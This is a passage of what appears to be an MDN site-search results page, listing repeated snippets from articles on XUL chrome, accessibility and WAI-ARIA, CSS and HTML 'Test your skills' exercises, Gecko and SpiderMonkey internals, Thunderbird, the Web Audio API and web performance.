wing global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> Specifies a chrome to be loaded by the Gecko rendering engine. In the example above, the chrome is simply a skin file to be loaded into the XUL file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="Mozilla Help" oncommand="window.openDialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> In this example, the chrome URL is being used to point to a chrome within the package hierarchy of the Mozilla application. A Help chrome defined in mozilla/bin/chrome/help/ is being invoked from the Help menu. Note that when no fi...
... to point to a chrome within the package hierarchy of the Mozilla application. A Help chrome defined in mozilla/bin/chrome/help/ is being invoked from the Help menu. Note that when no file name is specified after the chrome directory path, a file name with the same name as the package is assumed. In other words, a chrome URL like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help." Viewing Chromes Other Than Mozilla's There is a special flag you can use to start Mozilla with some chrome other than the default. When you invoke Mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome ...
...This special option allows you to create and access chromes independent of the Mozilla browser and begins to suggest some possibilities for XUL-as-platform beyond the simple restyling of the browser. ...
...And 3 more matches
command - Archive of obsolete content
<< XUL Reference home command Type: id Set to the id of a command element that is being observed by the element. ...
... << XUL Reference home command Type: id Set to the id of a command element that is being observed by the element. ...
... << XUL Reference home command Type: id Set to the id of a command element that is being observed by the element. ...
...And 3 more matches
dialog - Archive of obsolete content
ons attribute may be used to set which buttons should appear in the dialog box. These buttons will be placed in the correct locations for the user's platform. More information is available in the XUL tutorial and Dialogs and prompts (code snippets). ...
...re information is available in the XUL tutorial and Dialogs and prompts (code snippets). ...
...on. buttonaccesskeycancel Type: string The access key to use for the "cancel" button. buttonaccesskeydisclosure Type: string The access key to use for the "disclosure" button. buttonaccesskeyextra1 Type: string The access key to use for the first extra button. buttonaccesskeyextra2 Type: string The access key to use for the second extra button. buttonaccesskeyhelp Type: string The access key to use for the "help" button. buttonalign Type: string The value of the align attribute for the box containing the buttons. buttondir Type: string The value of the dir attribute for the box containing the buttons. buttondisabledaccept Type: boolean If true, the accept button is disabled. buttonlabelaccept Type: string The label to appe...
...And 3 more matches
Game promotion - Game development
Developing and publishing your game is not enough. You have to let the world know that you have something interesting available that people will enjoy playing. There are many ways to promote your game -- most of them being free, so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game. Promoting the game helps a lot when monetizing it later on too, so it's important to do it correctly. Competitions Taking part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from -- and it will also get you involved in the community. If you make a good game for a competition and win some prizes in the process your game will automatically be promoted by the organ...
...ames online -- at least in demo form. Also, you should do some work on SEO to allow people to find your games more easily. You should also blog about everything related to your gamedev activities. Write about your development process, nasty bugs you encounter, funny stories, lessons learned, and the ups and downs of being a game developer. Continually publishing information about your games will help educate others, increase your reputation in the community, and further improve SEO. A further option is to publish monthly reports that summarize all your progress -- it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon -- building buzz is always good. While you can create your website from scr...
...ation in the community, and further improve SEO. A further option is to publish monthly reports that summarize all your progress -- it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon -- building buzz is always good. While you can create your website from scratch, there are also tools that can help make the process easier. ManaKeep is a website builder made for indie game developers and provides a great starting point to create your website. Presskit() is a press kit builder that helps you create a press page to share with the media. Social media Your social media presence is very important -- follow the right hashtags, make friends, engage in conversations, help other devs in need. Hon...
...And 3 more matches
Test your skills: CSS and JavaScript accessibility - Learn web development
CSS accessibility 1 In the first task you are presented with a list of links. ...
... CSS accessibility 1 In the first task you are presented with a list of links. ...
... CSS accessibility 1 In the first task you are presented with a list of links. ...
...And 3 more matches
Accessible multimedia - Learn web development
as form elements and buttons, and even more complex markup structures (with WAI-ARIA attributes). This article on the other hand looks at another general class of content that arguably isn't as easy to ensure accessibility for -- multimedia. Images, videos, <canvas> elements, Flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyboard, and we need to give them a helping hand. But don't despair -- here we will help you navigate through the techniques available for making multimedia more accessible. Simple images We already covered simple text alternatives for HTML images in our HTML: A good basis for accessibility article -- you can refer back to there for the full details. In short, you should ensure that where possible visual content has an alternative te...
...e: Commercial services -- You could pay a professional to do the transcription, see for example companies like Scribie, Casting Words, or Rev. Look around and ask advice to make sure you find a reputable company that you'll be able to work with effectively. Community/grass roots/self transcription -- If you are part of an active community or team in your workplace, then you could ask them for help with doing the translations. You could even have a go at doing them yourself. Automated services -- There are AI services available, like Trint or Transcribear. Upload a video/audio file to the site, and it automatically transcribes it for you. On YouTube you can choose to generate automated captions/transcripts. Depending on how clear the spoken audio is, the resulting transcript quality will v...
...slowly. It is not OK to publish an audio resource but promise to publish the transcript later on -- such promises often aren't kept, which will erode trust between you and your users. If the audio you are presenting is something like a face to face meeting or live spoken performance, it would be acceptable to take notes during the performance, publish them in full along with the audio, then seek help in cleaning up the notes afterwards. Transcript examples If you use an automated service, then you'll probably have to use the user interface that the tool provides. For example, take a look at our Wait, ARIA Roles Have Categories? video and choose the three dot menu (. . .) > Show Transcript. You'll see the transcript come up in a separate panel. If you are creating your own user interface to...
...And 3 more matches
Test your skills: HTML accessibility - Learn web development
HTML accessibility 1 In this task we will test your understanding of text semantics, and why they are good for accessibility. ...
... HTML accessibility 1 In this task we will test your understanding of text semantics, and why they are good for accessibility. ...
... HTML accessibility 1 In this task we will test your understanding of text semantics, and why they are good for accessibility. ...
...And 3 more matches
Test your skills: WAI-ARIA - Learn web development
WAI-ARIA 1 In our first ARIA task, we present you with a section of non-semantic markup, which is obviously meant to be a list. ...
... WAI-ARIA 1 In our first ARIA task, we present you with a section of non-semantic markup, which is obviously meant to be a list. ...
... WAI-ARIA 1 In our first ARIA task, we present you with a section of non-semantic markup, which is obviously meant to be a list. ...
...And 3 more matches
WAI-ARIA basics - Learn web development
Here we'll show how to use it at a basic level to improve accessiblity. ...
...cus (using tabindex). Accessibility of non-semantic controls: When a series of nested <div>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer -- screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like button, listbox, or tabgroup, and properties like aria-required or aria-posinset to provide further clues as to functionality. One thing to remember though -- you should only use WAI-ARIA when you need to! Ideally, you should always use native HTML features to provide the semantics required by screenreaders to tell their users what is g...
... include the ARIA roles to provide these much needed semantics! The improved semantics of the search form have shown what is made possible when ARIA goes beyond the semantics available in HTML5. You'll see a lot more about these semantics and the power of ARIA properties/attributes below, especially in the Accessibility of non-semantic controls section. For now though, let's look at how ARIA can help with dynamic content updates. Dynamic content updates Content loaded into the DOM can be easily accessed using a screenreader, from textual content to alternative text attached to images. Traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments. The problem is that modern web apps are often not just static text -- they tend ...
...And 3 more matches
Test your skills: Images and Form elements - Learn web development
Task One In this task, you have an image that is overflowing the box. We want the image to scale down to fit inside the box without any extra white space, but we do not mind if some part of the image is cropped. In the example below see if you can match the image above. ...
... Task One In this task, you have an image that is overflowing the box. We want the image to scale down to fit inside the box without any extra white space, but we do not mind if some part of the image is cropped. In the example below see if you can match the image above. ...
... Task One In this task, you have an image that is overflowing the box. ...
...And 3 more matches
Test your skills: The Box Model - Learn web development
The Box Model One With the two boxes below, one is using the standard box model, the other the alternate box model. Change the width of the second box by adding rules to the .alternate class, so that it matches the visual width of the first box. Your final result will look like the image below. ...
... The Box Model One With the two boxes below, one is using the standard box model, the other the alternate box model. Change the width of the second box by adding rules to the .alternate class, so that it matches the visual width of the first box. Your final result will look like the image below. ...
... The Box Model One With the two boxes below, one is using the standard box model, the other the alternate box model. Change the width of the second box by adding rules to the .alternate class, so that it matches the visual width of the first box. Your final result will look like the image below. ...
...And 3 more matches
Test your skills: Selectors - Learn web development
Selectors One Without changing the HTML, use CSS to do the following things: Make h1 headings blue. Give h2 headings a blue background and white text. Cause text wrapped in a span to have a font-size of 200%. ...
... Selectors One Without changing the HTML, use CSS to do the following things: Make h1 headings blue. Give h2 headings a blue background and white text. Cause text wrapped in a span to have a font-size of 200%. ...
... Selectors One Without changing the HTML, use CSS to do the following things: Make h1 headings blue. Give h2 headings a blue background and white text. Cause text wrapped in a span to have a font-size of 200%. ...
...And 3 more matches
Test your skills: sizing - Learn web development
Task One In this task, you have two boxes. The first should be sized so that the height will be at least 100 pixels tall, even if there is less content than would cause it to grow to that height, however, the content should not overflow if there is more content than fits in 100 pixels. ...
... Task One In this task, you have two boxes. The first should be sized so that the height will be at least 100 pixels tall, even if there is less content than would cause it to grow to that height, however, the content should not overflow if there is more content than fits in 100 pixels. ...
... Task One In this task, you have two boxes. The first should be sized so that the height will be at least 100 pixels tall, even if there is less content than would cause it to grow to that height, however, the content should not overflow if there is more content than fits in 100 pixels. ...
...And 3 more matches
Test your skills: tables - Learn web development
Task In the lesson we styled up a table in a rather garish manner. In this task we are going to style the same table, but using some good practices for table design as outlined in the external article Web Typography: designing tables to be read not looked at. Our finished table will look like the image below. ...
... Task In the lesson we styled up a table in a rather garish manner. In this task we are going to style the same table, but using some good practices for table design as outlined in the external article Web Typography: designing tables to be read not looked at. Our finished table will look like the image below. ...
... Task In the lesson we styled up a table in a rather garish manner. In this task we are going to style the same table, but using some good practices for table design as outlined in the external article Web Typography: designing tables to be read not looked at. Our finished table will look like the image below. ...
...And 3 more matches
Test your skills: values and units - Learn web development
Task One In this task, the first list item has been given a background color using hex color codes. Your task is to complete the CSS using the same color in different formats, plus a final list item where you should make the background semi-opaque. The second list item should use RGB color. ...
... Task One In this task, the first list item has been given a background color using hex color codes. Your task is to complete the CSS using the same color in different formats, plus a final list item where you should make the background semi-opaque. The second list item should use RGB color. ...
... Task One In this task, the first list item has been given a background color using hex color codes. Your task is to complete the CSS using the same color in different formats, plus a final list item where you should make the background semi-opaque. The second list item should use RGB color. The third should use HSL color. ...
...And 3 more matches
Test your skills: Writing Modes and Logical Properties - Learn web development
Task One The box in the example is displayed with a horizontal writing mode. Can you add a line of CSS to change it so it uses a vertical writing mode with right to left text? Your example should look like the image below. ...
... Task One The box in the example is displayed with a horizontal writing mode. Can you add a line of CSS to change it so it uses a vertical writing mode with right to left text? Your example should look like the image below. ...
...tanding of Writing Modes and Logical Properties. The things you need to know to complete these tasks are covered in the lesson on Handling different text directions. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Task One The box in the example is displayed with a horizontal writing mode. Can you add a line of CSS to change it so it uses a vertical writing mode with right to left text? Your example should look like the image below. Try updating the live code below to recreate the finished example: For assessment or further...
...And 3 more matches
What text editors are available? - Learn web development
you can and get a feel for what suits your workflow. But we'll give you some pointers for getting started. Here are the primary questions you should consider: Which OS (operating system) do I want to work with? What kind of technologies do I want to manipulate? What kind of basic features do I expect from my text editor? Do I want to add extra features to my text editor? Do I need support/help while using my text editor? Does my text editor's look-and-feel matter to me? Notice we didn't mention price. Obviously, that matters too, but a product's cost has little connection with its quality or capability. There's a big chance you'll find a suitable text editor for free. Here are some popular editors: Editor Licence Price OS Support Doc. Extensible ...
...ows, Mac, Linux Mailing list, IRC Online Manual Yes Kate LGPL, GPL Free Windows, Mac, Linux Mailing list, IRC Online Manual Yes Komodo Edit MPL Free Windows, Mac, Linux Forum Online Manual Yes Notepad++ GPL Free Windows Forum Wiki Yes PSPad Closed source Free Windows FAQ, Forum Online Help Yes Sublime Text Closed source $70 Windows, Mac, Linux Forum Official, Unofficial Yes TextMate Closed source $50 Mac Twitter, IRC, Mailing list, E-mail Online Manual, Wiki Yes TextWrangler Closed source Free Mac FAQ, Forum PDF Manual No Vim Specific open license Free Windows, Mac, Linux Mailin...
...hnologies do I want to manipulate? Generally speaking, any text editor can open any text file. That works great for writing notes to yourself, but when you're doing web development and writing in HTML, CSS, and JavaScript, you can produce some pretty large, complex files. Make it easier on yourself by choosing a text editor that understands the technologies you're working with. Many text editors help you out with features like: Syntax highlighting. Make your file more legible by color-coding keywords based on the technology you're using. Code completion. Save you time by auto-completing recurring structures (for example, automatically close HTML tags, or suggesting valid values for a given CSS property). Code snippets. As you saw when starting a new HTML document, many technologies use t...
...And 3 more matches
Test your skills: Basic controls - Learn web development
Basic controls 1 This task starts you off nice and gently by asking you to create two <input> elements, for a user's ID and password, along with a submit button. ...
... Basic controls 1 This task starts you off nice and gently by asking you to create two <input> elements, for a user's ID and password, along with a submit button. ...
... Basic controls 1 This task starts you off nice and gently by asking you to create two <input> elements, for a user's ID and password, along with a submit button. ...
...And 3 more matches
Test your skills: HTML5 controls - Learn web development
HTML5 controls 1 First let's explore some of the new HTML5 input types. ...
... HTML5 controls 1 First let's explore some of the new HTML5 input types. ...
... HTML5 controls 1 First let's explore some of the new HTML5 input types. ...
...And 3 more matches
Test your skills: Other controls - Learn web development
Other controls 1 In our first "other controls" assessment, we'll get you to create a multi-line text input. Create a basic multi-line text input. ...
... Other controls 1 In our first "other controls" assessment, we'll get you to create a multi-line text input. Create a basic multi-line text input. ...
... Other controls 1 In our first "other controls" assessment, we'll get you to create a multi-line text input. Create a basic multi-line text input. ...
...And 3 more matches
Test your skills: Styling basics - Learn web development
Styling basics 1 Our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
... Styling basics 1 Our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
... Styling basics 1 Our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
...And 3 more matches
Test your skills: Advanced HTML text - Learn web development
Advanced HTML text 1 In this task we want you to turn the provided animals and their definitions into a description list. ...
... Advanced HTML text 1 In this task we want you to turn the provided animals and their definitions into a description list. ...
... Advanced HTML text 1 In this task we want you to turn the provided animals and their definitions into a description list. ...
...And 3 more matches
Test your skills: HTML text basics - Learn web development
HTML text basics 1 In this task we want you to mark up the provided HTML using semantic heading and paragraph elements. ...
... HTML text basics 1 In this task we want you to mark up the provided HTML using semantic heading and paragraph elements. ...
... HTML text basics 1 In this task we want you to mark up the provided HTML using semantic heading and paragraph elements. ...
...And 3 more matches
Test your skills: HTML images - Learn web development
HTML images 1 In this task we want you to embed a simple image of some Blueberries into the page. You need to: Add the path to the image to an appropriate attribute to embed it on the page. ...
... HTML images 1 In this task we want you to embed a simple image of some Blueberries into the page. You need to: Add the path to the image to an appropriate attribute to embed it on the page. ...
... HTML images 1 In this task we want you to embed a simple image of some Blueberries into the page. You need to: Add the path to the image to an appropriate attribute to embed it on the page. ...
...And 3 more matches
Commenting IDL for better documentation
Doxygen is a system of generating documentation from source code. The documentation team has tools that convert comments from the Doxygen format into the standard reference article format we use here on MDN, with certain limitations. This article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented. Happily, following these recommendations will also help ensure your comments are extremely human-readable, too. Don't worry! You don't need to write perfect documentation. That is why Mozilla has a couple of writers on-staff as well as a horde of happy volunteers. We will take your comments and notes and turn them into beautiful, easy to search...
...g these recommendations will also help ensure your comments are extremely human-readable, too. Don't worry! You don't need to write perfect documentation. That is why Mozilla has a couple of writers on-staff as well as a horde of happy volunteers. We will take your comments and notes and turn them into beautiful, easy to search and read documentation. But by following the guidelines here, you can help make sure that our tools can generate a "good start" version of the documentation for your interfaces, and that the writers will be able to easily figure out what the tools are not able to do automatically. Comment format Doxygen supports several comment formats; for style and consistency reasons, we use the following: /** * */ Note the two asterisks ("**") on the first line of the comment. Th...
...your comments easier to read! Include documentation comments for everything, even if you think it is obvious what it means. Automatic documentation generation tools can not see what is obvious to human brains. Plus, what is obvious to you is likely not obvious to everyone. Use Doxygen style comments only for information that is directly useful to someone using or implementing the interface. This helps keep the documentation tidy. Be concise and to the point. Writers will expand upon your documentation if necessary. Keep in mind that people for whom English is not their native language will be reading your comments (as well as the generated documentation), so try to avoid slang and abbreviations when possible. If possible, avoid putting comments in the middle of the definitions of APIs. If an ...
...And 3 more matches
Gecko Profiler FAQ
displays is a native function. Therefore the Gecko Profiler is not a suitable tool for finding hotspots within a single function. For this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on Windows, Instruments on OSX, and perf/Zoom on Linux.) One workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile. This can change some performance characteristics, but is a decent way to get a sense of which parts of a large function are expensive. How to profile startup code that regresses just a little (<10-15ms ts_paint/tpaint) [mstange] We currently don't have a good way to do that. You can write your own tools to assist you in this process, though.
...d in, you can call Services.profiler.pause(); or you can insert a marker with a special string and then write a script that filters out all samples that were gathered after your marker. To increase the amount of data, you should run your automated gathering procedure many times, and then combine multiple profiles into one. We don't have a script that combines profiles, but I can help you write one if you're interested. In the end, you should have one big "before" profile and one big "after" profile. Profile comparison is tricky. The only way that I've tried before is to use a "difference calltree": In the regular call tree, each node of the calltree is assigned a weight which is just the number of samples that were under this call stack. In a difference call...
..., with weights in decreasing order from top to bottom. Then the call stacks whose cost increased the most in the "after" profile will be at the top, and those are the ones you usually want to look at if you caused a regression. In this view, the timestamps of individual samples / stacks will not be meaningful. profiler.firefox.com does not have a comparison view at the moment. I can help you add one, though. There is documentation for the Gecko profile format. Is it worth slowing down CPU to increase the profiler resolution? It depends on what you are trying to profile to some extent. Usually you should be really careful when changing the characteristics of the environment that you are trying to measure to avoid measuring the wrong...
...And 3 more matches
Index
nges that are happening, with a focus on how they will affect Gecko code that uses JSAPI. At a high level, there are three issues to be aware of: 8 Getting SpiderMonkey source code Guide, SpiderMonkey You can get the SpiderMonkey source code in gzipped form or directly from the Mercurial repository. 9 Hacking Tips SpiderMonkey This page list a few tips to help you investigate issues related to SpiderMonkey. All tips listed here are dealing with the JavaScript shell obtained at the end of the build documentation of SpiderMonkey. It is separated in 2 parts, one section related to debugging and another section related to drafting optimizations. Many of these tips only apply to debug builds of the JS shell; they will not function in a release build. ...
...oleanValue converts a C boolean of type bool to JS::Value, the type of JavaScript values. 28 JS::Call JSAPI Reference, Reference, SpiderMonkey JS::Call calls a specified function, fun, on an object, thisObj. In terms of function execution, the object is treated as this. 29 JS::CallArgs JSAPI Reference, Reference, Reference(2), SpiderMonkey JS::CallArgs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. 30 JS::CloneFunctionObject JSAPI Reference, Reference, Reference(2), SpiderMonkey JS::CloneFunctionObject creates a new function object from funobj. The new object has the same code and argument list as funobj. If scopeChain is supplied, it uses scopeChain as its enclosi...
...tion call. 30 JS::CloneFunctionObject JSAPI Reference, Reference, Reference(2), SpiderMonkey JS::CloneFunctionObject creates a new function object from funobj. The new object has the same code and argument list as funobj. If scopeChain is supplied, it uses scopeChain as its enclosing scope. If scopeChain is omitted, it creates a new function object in cx's global. This can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object. 31 JS::Compile JSAPI Reference, Reference, Reference(2), SpiderMonkey JS::Compile compiles a script, srcBuf, chars, bytes, or file, for execution. 32 JS::CompileFunction JSAPI Reference, Reference, Reference(2), SpiderMonkey JS::CompileFunction...
...And 3 more matches
Mozilla internal string guide
nage buffers of wide (16-bit) and narrow (8-bit) character strings. The headers and implementation are in the xpcom/string directory. All strings are stored as a single contiguous buffer of characters. The 8-bit and 16-bit string classes have completely separate base classes, but share the same APIs. As a result, you cannot assign a 8-bit string to a 16-bit string without some kind of conversion helper class or routine. For the purpose of this document, we will refer to the 16-bit string classes in class documentation. Every 16-bit class has an equivalent 8-bit class: Naming convention for wide and narrow string classes Wide Narrow nsAString nsACString nsString nsCString nsAutoString nsAutoCString etc... The string classes dist...
...sDependentString. If you don't want to or can't null-terminate the buffer, use nsDependentSubstring. nsPrintfCString- derived from nsCString, this string behaves like an nsAutoCString. The constructor takes parameters which allows it to construct a 8-bit string from a printf-style format string and parameter list. There are also a number of concrete classes that are created as a side-effect of helper routines, etc. You should avoid direct use of these classes. Let the string library create the class for you. nsSubstringTuple - created via string concatenation nsDependentSubstring - created through Substring nsPromiseFlatString - created through PromiseFlatString() nsLiteral[C]String - created through the ""_ns and u""_ns user-defined literals Of course, there are times when it is ne...
...s previously-obtained span, raw pointer or length. Once you are done writing, call Finish(). It takes two arguments: the new logical length of the string (which must not exceed the capacity retuned by the Length() method of the handle) and a boolean indicating whether it's OK to attempt to reallocate a smaller buffer in case a smaller mozjemalloc bucket could accommodate the new logical length. Helper Classes and Functions Converting Cocoa strings Use mozilla::CopyCocoaStringToXPCOMString() in mozilla/MacStringHelpers.h to convert Cocoa strings to XPCOM strings. Searching strings - looking for substrings, characters, etc. FindInReadable() is the replacement for the old string.Find(..). The syntax is: PRBool FindInReadable(const nsAString& pattern, nsAString::const_...
...And 3 more matches
Index
indows), this trick will not apply to them. But this is not a common usage model. How do I test it? On window and mac, the cached compose window is on by default. To test it 17 Content Tabs thunderbird Content Tabs enable Thunderbird to display remote content in a tab, which users can browse in (mostly) the same way as with a browser. For example, invoking Thunderbird's Help | What's New menu option opens a tab that displays web content. The Thunderbird team can update this content via the website at any time. 18 Cookies In Thunderbird Cookies, Guide, thunderbird In versions of Thunderbird prior to 3 the cookie policy was very restrictive (to RSS only). Thunderbird 3 uses the Gecko cookie policy with some changes. 19 Creating a gloda m...
... The thread pane (aka message list) is driven by classes that implement nsIMsgDBView and inherit from nsMsgDBView. These are the main view classes: 24 Events There are a lot of events that can be fired in Mail code. Some of these are standard events, such as those created by the DOM. Others are internal to Gecko or other parts of Mozilla application code. This reference will help you track those events down and learn how to use them. 25 Filelink Providers thunderbird Filelink is a Thunderbird feature that makes it easy for users to upload large attachments to web-based storage services such as Hightail. 26 nsIMsgCloudFileProvider nsIMsgCloudFileProvider is the interface that must be implemented by new Filelink providers. 2...
... Protzenko for his presentation at MozCamp 2011. It shows how to achieve various goals in a working live example, such as working with Gloda. 85 Error reporting tools thunderbird Currently, Thunderbird tends to eat a lot of exceptions. Some make it to the error console, most don't. There are deep fixes to the platform needed (e.g. bug 493414), but in the meantime, it would be helpful to be able to get useful output on stderr about exceptions, events and pretty-printed objects. 86 FAQ Add-ons, Extensions, thunderbird The old contents of this FAQ page were duplicated in the Setting up extension development environment article and the Building a Thunderbird extension article. (Duplicate content has been removed from this page.) 87 Finding the c...
...And 3 more matches
Web Audio API - Web APIs
uditory feedback on forms. However, it can also be used to create advanced interactive instruments. With that in mind, it is suitable for both developers and musicians alike. We have a simple introductory tutorial for those that are familiar with programming but need a good introduction to some of the terms and structure of the API. There's also a Basic Concepts Behind Web Audio API article, to help you understand the way digital audio works, specifically in the realm of the API. This also includes a good introduction to some of the concepts the API is built upon. Learning coding is like playing cards -- you learn the rules, then you play, then you go back and learn the rules again, then you play again. So if some of the theory doesn't quite fit after the first tutorial and article, there's...
...ally in the realm of the API. This also includes a good introduction to some of the concepts the API is built upon. Learning coding is like playing cards -- you learn the rules, then you play, then you go back and learn the rules again, then you play again. So if some of the theory doesn't quite fit after the first tutorial and article, there's an advanced tutorial which extends the first one to help you practise what you've learnt, and apply some more advanced techniques to build up a step sequencer. We also have other tutorials and comprehensive reference material available that covers all features of the API. See the sidebar on this page for more. If you are more familiar with the musical side of things, are familiar with music theory concepts, want to start building instruments, then yo...
...and is often used to achieve a reverb effect. DelayNode The DelayNode interface represents a delay-line; an AudioNode audio-processing module that causes a delay between the arrival of an input data and its propagation to the output. DynamicsCompressorNode The DynamicsCompressorNode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once. GainNode The GainNode interface represents a change in volume. It is an AudioNode audio-processing module that causes a given gain to be applied to the input data before its propagation to the output. WaveShaperNode The WaveShaperNode interface represents a non-linear distorter. It...
...And 3 more matches
Understandable - Accessibility
ide links to glossary pages containing the acronym expansion and explanation, or at the very least include them in the surrounding text in context. See Abbreviations. 3.1.5 Reading Level (AAA) If text is provided that requires a higher reading level that lower secondary education level (typically children around 11-14 years old), provide supplementary explainer material to help people who can't read it, or provide an alternative version that is written at lower secondary level. This doesn't mean that all subject matter should be understood by everyone, but that the style of writing should be accessible by everyone. It is better to just write all content at lower secondary level, even technical documentation like programming tutorials, unless there is a good reason ...
...o show, when to advance to the next photo in the gallery...) If you need to have something like a carousel on a page, provide an option to stop it automatically advancing. Better to avoid such functionality if possible. Note: Also see the WCAG description for Guideline 3.2 Predictable: Make Web pages appear and operate in predictable ways. Guideline 3.3 -- Input Assistance: Help users avoid and correct mistakes This guideline centers around helping users enter correct information when required with the minimum of mistakes. Success criteria How to conform to the criteria Practical resource 3.3.1 Error Identification (A) When a user is filling out a form or choosing between options, any error that is detected should be clearly reported...
... error that is detected should be clearly reported to the user, along with the form control that the error relates to. It is advisable to implement client-side error detection and handling, via HTML5 form validation features, and/or JavaScript, whatever is best for your situation. When an error is detected, an intuitive error message should be shown next to the form input that is at fault to help the user correct their inputs. For screenreader users, you can use aria live regions to alert the user to a change on the page. Note: Server-side validation should *always* be used alongside client-side validation. Client-side validation is too easy to turn off or otherwise get around, so it can't be relied on alone. See Form data validation for comprehensive validation info...
...And 3 more matches
Using HTML sections and outlines - Developer guides
: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure. The HTML5 specification introduced several semantic sectioning elements to help organize the structure of documents. Semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants. Semantic sectioning elements clarify the larger-scale structures within a document. They are intended to enhance the limited semantics of earlier ...
...as a generic mechanism for grouping related content. For example, <div class="navigation"> does not suggest any meaning about its content to a browser; only a human reading the HTML source can divine the meaning of a class like navigation. By contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content. New semantic elements were added to HTML5 to improve and clarify the sectioning of websites into meaningful areas of content. It is important for developers to use these semantic elements in line with their intended purposes. Many accessibility tools as well as reader views provided by some browsers rely on semantic ...
...s in <nav> While list elements are common for navigation they are not required. You can use other elements such as <p>. Article Element The <article> element indicates self-contained content, meaning that if you removed all the other HTML except the <article> element, the content would still make sense to a reader. ...
...And 3 more matches
Performance fundamentals - Web Performance
What is performance? Ultimately, user-perceived performance is the only performance that matters. Users provide inputs to the system through touch, movement, and speech. In return, they perceive outputs through sight, touch, and hearing. Performance is the quality of system outputs in response to user inputs. ...
... applications should listen for it. Applications that drop as many loaded resources as possible when sent to the background use less memory and are less likely discarded, in the case of Firefox OS (see the note below). This in turn means they "start up" faster (since they are already running) and have better UPP. Specific coding tips for application performance The following practical tips will help improve one or more of the Application performance factors discussed above. Use CSS animations and transitions Instead of using some library's animate() function, which probably currently uses many badly performing technologies (window.setTimeout() or top/left positioning, for example) use CSS animations. In many cases, you can actually use CSS Transitions to get the job done. This works well b...
...ouch support first, you don't sacrifice accessibility, either. For example, the Financial Times uses a library called fastclick for that purpose, which is available for you to use. Keep your interface simple One big performance issue we found in HTML5 apps was that moving lots of DOM elements around makes everything sluggish -- especially when they feature lots of gradients and drop shadows. It helps a lot to simplify your look-and-feel and move a proxy element around when you drag and drop. When, for example, you have a long list of elements (let's say tweets), don't move them all. Instead, keep in your DOM tree only the ones that are visible and a few on either side of the currently visible set of tweets. Hide or remove the rest. Keeping the data in a JavaScript object instead of accessin...
...And 3 more matches
Web Performance
d. The longer it takes for a site to respond, the more users will abandon the site. It is important to minimize the loading and response times and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience. There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section: Key performance guides Animation performance and frame rateAnimation on the web can be done via SVG, JavaScript, including <canvas> and WebGL, CSS animation, <video>, animated gifs and even animated PNGs and other image types. The performance cost of animating a CSS property can vary from one property to another, and an...
...t is a limit to prevent regressions. It can apply to a file, a file type, all files loaded on a page, a specific metric (e.g. Time to Interactive), a custom metric (e.g. Time to Hero Element), or a threshold over a period of time. Performance fundamentalsPerformance means efficiency. In the context of Open Web Apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.Performance Monitoring: RUM vs synthetic monitoringSynthetic monitoring and real user monitoring (RUM) are two approaches for monitoring and providing insight into web performance. In this article we define and compare these two performance monitoring approaches.Populating the page: how browsers worka developer should s...
... vs synthetic monitoringSynthetic monitoring and real user monitoring (RUM) are two approaches for monitoring and providing insight into web performance. In this article we define and compare these two performance monitoring approaches.Populating the page: how browsers worka developer should strive to achieve these two goals. ...
...And 3 more matches
LookupNamespaceURI - Archive of obsolete content
Support HTMLDocument if Document not present // If Document is present, is this method also present? ...
...t is present, is this method also present? ...
...tt.value) { return att.value; } return null; // unknown } } } if (node.parentNode && node.parentNode.nodeType !== 9) { // EntityReferences may have to be skipped to get to it return lookupNamespaceURIHelper(node.parentNode, prefix); } return null; case 9: // DOCUMENT_NODE return lookupNamespaceURIHelper(node.documentElement, prefix); case 6: // ENTITY_NODE case 12: // NOTATION_NODE case 10: // DOCUMENT_TYPE_NODE case 11: // DOCUMENT_FRAGMENT_NODE return null; // unknown ...
...And 2 more matches
Promises - Archive of obsolete content
